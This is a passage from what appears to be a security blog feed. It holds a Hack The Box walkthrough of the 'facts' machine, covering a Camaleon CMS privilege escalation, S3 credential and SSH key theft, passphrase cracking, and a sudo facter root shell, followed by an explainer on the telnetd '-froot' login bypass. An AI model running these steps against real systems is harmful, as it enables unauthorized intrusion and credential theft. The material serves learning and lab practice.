|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    syn-ack ttl 62 Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 189317C4741475EB
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 11 Feb 2026 04:46:51 GMT
|     &lt;?xml version="1.0" encoding="UTF-8"?&gt;
|     &lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid Request (invalid argument)&lt;/Message&gt;&lt;Resource&gt;/nice ports,/Trinity.txt.bak&lt;/Resource&gt;&lt;RequestId&gt;189317C4741475EB&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 189317C010F52C3E
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 11 Feb 2026 04:46:32 GMT
|     &lt;?xml version="1.0" encoding="UTF-8"?&gt;
|     &lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid Request (invalid argument)&lt;/Message&gt;&lt;Resource&gt;/&lt;/Resource&gt;&lt;RequestId&gt;189317C010F52C3E&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Wed, 11 Feb 2026 04:46:32 GMT
|_    Content-Length: 0
</code></pre></div></div>

<h2 id="web-enumeration">Web Enumeration</h2>

<p>after headover to port 80 
the webserver hosts shows title facts.htb 
so quickly add it to /etc/hosts along with ip</p>

<p>http://facts.htb/ - its  a simple blog or image sharing site</p>

<p>upon looking at the source code 
reveals its running something called <strong>Camaleon CMS</strong></p>

<p>Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails</p>

<p>then quickly run gobuster</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://facts.htb/ <span class="nt">-w</span> /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
</code></pre></div></div>

<p>and found interesting a endpoint <code class="language-plaintext highlighter-rouge">/admin</code></p>

<h2 id="exploitation---cve-2025-2304">Exploitation - CVE-2025-2304</h2>

<p>since i coudn’t detect the cms version 
i just searching latest CVE or vulnerability related to it 
then i found</p>

<p><strong>https://github.com/predyy/CVE-2025-2304</strong><br />
<strong>CVE-2025-2304 - Camaleon CMS Privilege Escalation</strong></p>

<p>A Privilege Escalation through a Mass Assignment exists in Camaleon CMS When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.</p>

<p><strong>Impact:</strong> An attacker can exploit this to modify object attributes, potentially leading to privilege escalation.</p>

<p>means if i just register as a new user and i can be able to be admin right ?
so lets go</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb/CVE-2025-2304]
└─<span class="nv">$ </span>python3 exp.py http://facts.htb/admin <span class="nb">test test</span>@test
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Logging <span class="k">in </span>as <span class="nb">test</span> ...
<span class="o">[</span>+] Login successful
<span class="o">[</span>+] Got profile page
<span class="o">[</span>i] Version detected: 2.9.0 <span class="o">(</span>&lt; 2.9.1<span class="o">)</span> - appears to be vulnerable version
<span class="o">[</span>+] authenticity_token: PpN31aC00B4IEFOyQN4l8Zj7mkNFw4HpmQjDr7tH8emXiQMm_5RktUs_OANR-8xeE9P5A5LD3lLgnQlfT1VPyQ
http://facts.htb/admin/users/5/updated_ajax
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Submitting password change request
<span class="o">[</span>+] Submit successful, you should be admin
</code></pre></div></div>

<p>now i am admin</p>

<h2 id="aws-credentials-discovery">AWS Credentials Discovery</h2>
<p>after headover to 
http://facts.htb/admin/settings/site</p>

<p>i found juicy stuffs like AWS s3 access key 
now we can acess this stuff with the help of aws cli</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─<span class="nv">$ </span>aws s3 <span class="nb">ls    

</span>An error occurred <span class="o">(</span>InvalidAccessKeyId<span class="o">)</span> when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist <span class="k">in </span>our records.
                                             
┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span>aws configure <span class="nt">--profile</span> facts
AWS Access Key ID <span class="o">[</span>None]: AKIA237FBBCAFC84DA9E
AWS Secret Access Key <span class="o">[</span>None]: 1I6oQXf2PZH20fVOdFL+AKZ+gtZwH70nDg/atEKH
Default region name <span class="o">[</span>None]: us-east-1
Default output format <span class="o">[</span>None]: json
                                                                                                                                                                           
┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span>aws s3 <span class="nb">ls</span> <span class="nt">--endpoint-url</span> http://facts.htb:54321 <span class="nt">--profile</span> facts
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span>aws s3 <span class="nb">ls </span>s3://internal/ <span class="nt">--endpoint-url</span> http://facts.htb:54321 <span class="nt">--profile</span> facts
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 13:45:13        220 .bash_logout
2026-01-08 13:45:13       3900 .bashrc
2026-01-08 13:47:17         20 .lesshst
2026-01-08 13:47:17  
</code></pre></div></div>

<h2 id="ssh-key-extraction">SSH Key Extraction</h2>

<p>after dig into /internal dir
we got .ssh 
then quicky cpy this to current dir</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws s3 <span class="nb">cp </span>s3://internal/.ssh /home/kali/Downloads/factshtb <span class="nt">--endpoint-url</span> http://facts.htb:54321 <span class="nt">--profile</span> facts <span class="nt">--recursive</span>
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519             
download: s3://internal/.ssh/authorized_keys to ./authorized_keys 
</code></pre></div></div>

<h2 id="cracking-ssh-key">Cracking SSH Key</h2>

<p>the id i have got is encrypted 
so need to crack it 
fr that 
i use</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 /usr/share/john/ssh2john.py id_ed25519 <span class="o">&gt;</span> key.john

┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span>john <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt key.john
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>SSH, SSH private key <span class="o">[</span>RSA/DSA/EC/OPENSSH 32/64]<span class="o">)</span>
Cost 1 <span class="o">(</span>KDF/cipher <span class="o">[</span><span class="nv">0</span><span class="o">=</span>MD5/AES <span class="nv">1</span><span class="o">=</span>MD5/3DES <span class="nv">2</span><span class="o">=</span>Bcrypt/AES]<span class="o">)</span> is 2 <span class="k">for </span>all loaded hashes
Cost 2 <span class="o">(</span>iteration count<span class="o">)</span> is 24 <span class="k">for </span>all loaded hashes
Will run 2 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
dra[redact]      <span class="o">(</span>id_ed25519<span class="o">)</span>     
1g 0:00:06:18 DONE <span class="o">(</span>2026-02-11 00:46<span class="o">)</span> 0.002641g/s 8.452p/s 8.452c/s 8.452C/s fireman..imissu
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed. 
</code></pre></div></div>

<h2 id="getting-user-access">Getting User Access</h2>

<p>i got the passphrase lets connect to port 22</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span>ssh-keygen <span class="nt">-y</span> <span class="nt">-f</span> id_ed25519 <span class="o">&gt;</span> id_ed25519.pub
Enter passphrase <span class="k">for</span> <span class="s2">"id_ed25519"</span>: 
                                                                                                                    
this will generate .pub file so we know the user                                                                                                  
┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span><span class="nb">ls
</span>authorized_keys  CVE-2025-2304  id_ed25519  id_ed25519.hash  id_ed25519.pub  key.john  writeup.md
                                                                                                                    
┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span><span class="nb">cat </span>id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6uqf/MuO5odDM453bZdApeHLnufnUfStkZcK5e/2QQ redacted@facts.htb
                                                                                                                                                                                
┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/factshtb]
└─<span class="nv">$ </span>ssh <span class="nt">-i</span> id_ed25519 trivia@facts.htb
Enter passphrase <span class="k">for </span>key <span class="s1">'id_ed25519'</span>: 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 <span class="o">(</span>GNU/Linux 6.14.0-37-generic x86_64<span class="o">)</span>

 <span class="k">*</span> Documentation:  https://help.ubuntu.com
 <span class="k">*</span> Management:     https://landscape.canonical.com
 <span class="k">*</span> Support:        https://ubuntu.com/pro

 System information as of Wed Feb 11 06:26:36 AM UTC 2026

  System load:           0.13
  Usage of /:            74.2% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             221
  Users logged <span class="k">in</span>:       1
  IPv4 address <span class="k">for </span>eth0: 10.129.13.46
  IPv6 address <span class="k">for </span>eth0: dead:beef::250:56ff:feb0:441b


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check <span class="k">for </span>new updates run: <span class="nb">sudo </span>apt update
trivia@facts:~<span class="nv">$ </span><span class="nb">ls
</span>trivia@facts:/home<span class="nv">$ </span><span class="nb">ls
</span>trivia  william
trivia@facts:/home<span class="nv">$ </span><span class="nb">cd </span>william/
trivia@facts:/home/william<span class="nv">$ </span><span class="nb">ls
</span>user.txt
trivia@facts:/home/william<span class="nv">$ </span><span class="nb">cat </span>user.txt 
73f8a5[redacted]
</code></pre></div></div>

<h2 id="privilege-escalation-to-root">Privilege Escalation to Root</h2>

<p>next step is to get root 
for that use same method run 
sudo -l 
and notice</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>trivia@facts:/home/william<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>trivia on facts:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin, use_pty

User trivia may run the following commands on facts:
    <span class="o">(</span>ALL<span class="o">)</span> NOPASSWD: /usr/bin/facter
</code></pre></div></div>

<p><strong>facter</strong> is a system profiling tool used by Puppet (configuration management), and it can execute Ruby code. Since you can run it as root with sudo and no password, you can exploit this to get a root shell.</p>

<p>lets craft the exploit</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>trivia@facts:/tmp<span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/exploit
trivia@facts:/tmp<span class="nv">$ </span><span class="nb">cat</span> <span class="o">&gt;</span> /tmp/exploit/root.rb <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
Facter.add(:root_shell) do
  setcode do
    system("/bin/bash")
  end
end
</span><span class="no">EOF
</span>trivia@facts:/tmp<span class="nv">$ </span><span class="nb">sudo</span> /usr/bin/facter <span class="nt">--custom-dir</span> /tmp/exploit
root@facts:/tmp# 
</code></pre></div></div>

<hr />

<p>i bet you , you cant find this type of writeup anywhere so if it helps please drop a comment below.
thank you.
thats all foxs ! have fun happy hacking.</p>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="htb" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">CVE-2026-24061</title><link href="https://surajitsen.live/cve/2026/02/01/CVE-2026-24061.html" rel="alternate" type="text/html" title="CVE-2026-24061" /><published>2026-02-01T00:00:00+05:30</published><updated>2026-02-01T00:00:00+05:30</updated><id>https://surajitsen.live/cve/2026/02/01/CVE-2026-24061</id><content type="html" xml:base="https://surajitsen.live/cve/2026/02/01/CVE-2026-24061.html"><![CDATA[<h3 id="telnets-backdoor-how-a-simple-argument-injection-let-anyone-be-root">Telnet’s Backdoor: How a Simple Argument Injection Let Anyone Be Root</h3>

<p>its crazy ! 
CVE Score around 9.8/10</p>

<p>found in telnet [ Telnet (TELecommunication NETwork) is a foundational, text-based network protocol and application (running on TCP port 23) that enables a user to remotely access and manage another computer, server, or networking device via a command-line interface. Developed in 1969, it provides a virtual terminal connection, appearing as if the user is physically present at the remote machine ]
source [ https://en.wikipedia.org/wiki/Telnet]</p>

<p>i recenly analyzed this crazy CVE 
and wondering how a tiny logic can spawn root shell after hiding for 11 years</p>

<p><img src="/assets/images/CVES/CVE-2026-24061/exploit.png" alt="exploit" /></p>

<p>how it works ?</p>

<p>think of like Telnet Server as a bouncer at a club who ask for your ID before enter</p>

<p>The Handshake: When you connect to a Telnet server, the server and your computer exchange some “environment variables”—basic info like your username.</p>

<p>The Command: Normally, the Telnet server takes the username you give it and runs a command like: login [your_username]</p>

<p>The Flaw (Argument Injection): The server doesn’t check what you put in the username field. An attacker can send a special “username” like -f root.</p>

<p>The Result: The server blindly runs the command: login -h [hostname] -f root</p>

<p>In Linux systems, the -f flag stands for “force” or “fast” login. It tells the system: “I’ve already checked this person’s ID, just let them in as the root user immediately.” Because the server trustingly passed that flag along, it bypasses the password screen entirely and drops the attacker directly into a root command prompt.</p>

<p>This bug was accidentally added to the code in 2015 and sat there undiscovered until 2026</p>

<p><img src="/assets/images/CVES/CVE-2026-24061/fixed-commit.png" alt="fixed" /></p>

<p>if you look closely , 
you can see that the developers knew about the danger for the USER environment variable (case ‘U’), but they completely forgot to apply that same logic to the standard user_name variable (case ‘u’).</p>

<p>The Logic Gap
In the code snippet, notice the difference between these two cases:</p>

<p>case ‘u’ (The Vulnerable One): return user_name ? xstrdup (user_name) : NULL; It just takes whatever string is in user_name and hands it over. If an attacker sends -froot, the system accepts it without question.</p>

<p>case ‘U’ (The Protected One): The code below it actually has a comment: /* Ignore user names starting with ‘-‘… as they can cause trouble. */. They wrote a specific check here to prevent exactly what CVE-2026-24061 exploits.</p>

<p>How an Attacker Abuses This
Because case ‘u’ was left unprotected, the attack follows this path:</p>

<p>Connection: The attacker connects via Telnet.</p>

<p>Environment Negotiation: The Telnet client sends an environment variable for the username.</p>

<p>The Payload: Instead of blackxploit, the attacker sends -froot.</p>

<p>The Expansion: The code hits case ‘u’, sees -froot, and calls xstrdup(“-froot”).</p>

<p>The Execution: The server then executes: login -h <host> -froot.</host></p>

<p>The Bypass: The login program sees the -f flag and says, “Okay, I’ll log you in as root without a password.”</p>

<p><img src="/assets/images/CVES/CVE-2026-24061/sanitized.png" alt="sanitized" /></p>

<p>By creating sanitize(), the developers moved that logic from case ‘U’ into a reusable tool and applied it to all cases (‘h’, ‘l’, ‘L’, ‘t’, ‘T’, and ‘u’). This ensured that no matter which variable an attacker tried to mess with, the leading - would always be caught.</p>

<p>here is the exploit : https://github.com/JayGLXR/CVE-2026-24061-POC</p>

<p>i know its 2026 and no one use telnet but for those who use Update your GNU InetUtils to version 2.7-2 or newer immediately.</p>

<p>Thanks for reading !</p>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="cve" /><summary type="html"><![CDATA[Telnet’s Backdoor: How a Simple Argument Injection Let Anyone Be Root]]></summary></entry></feed>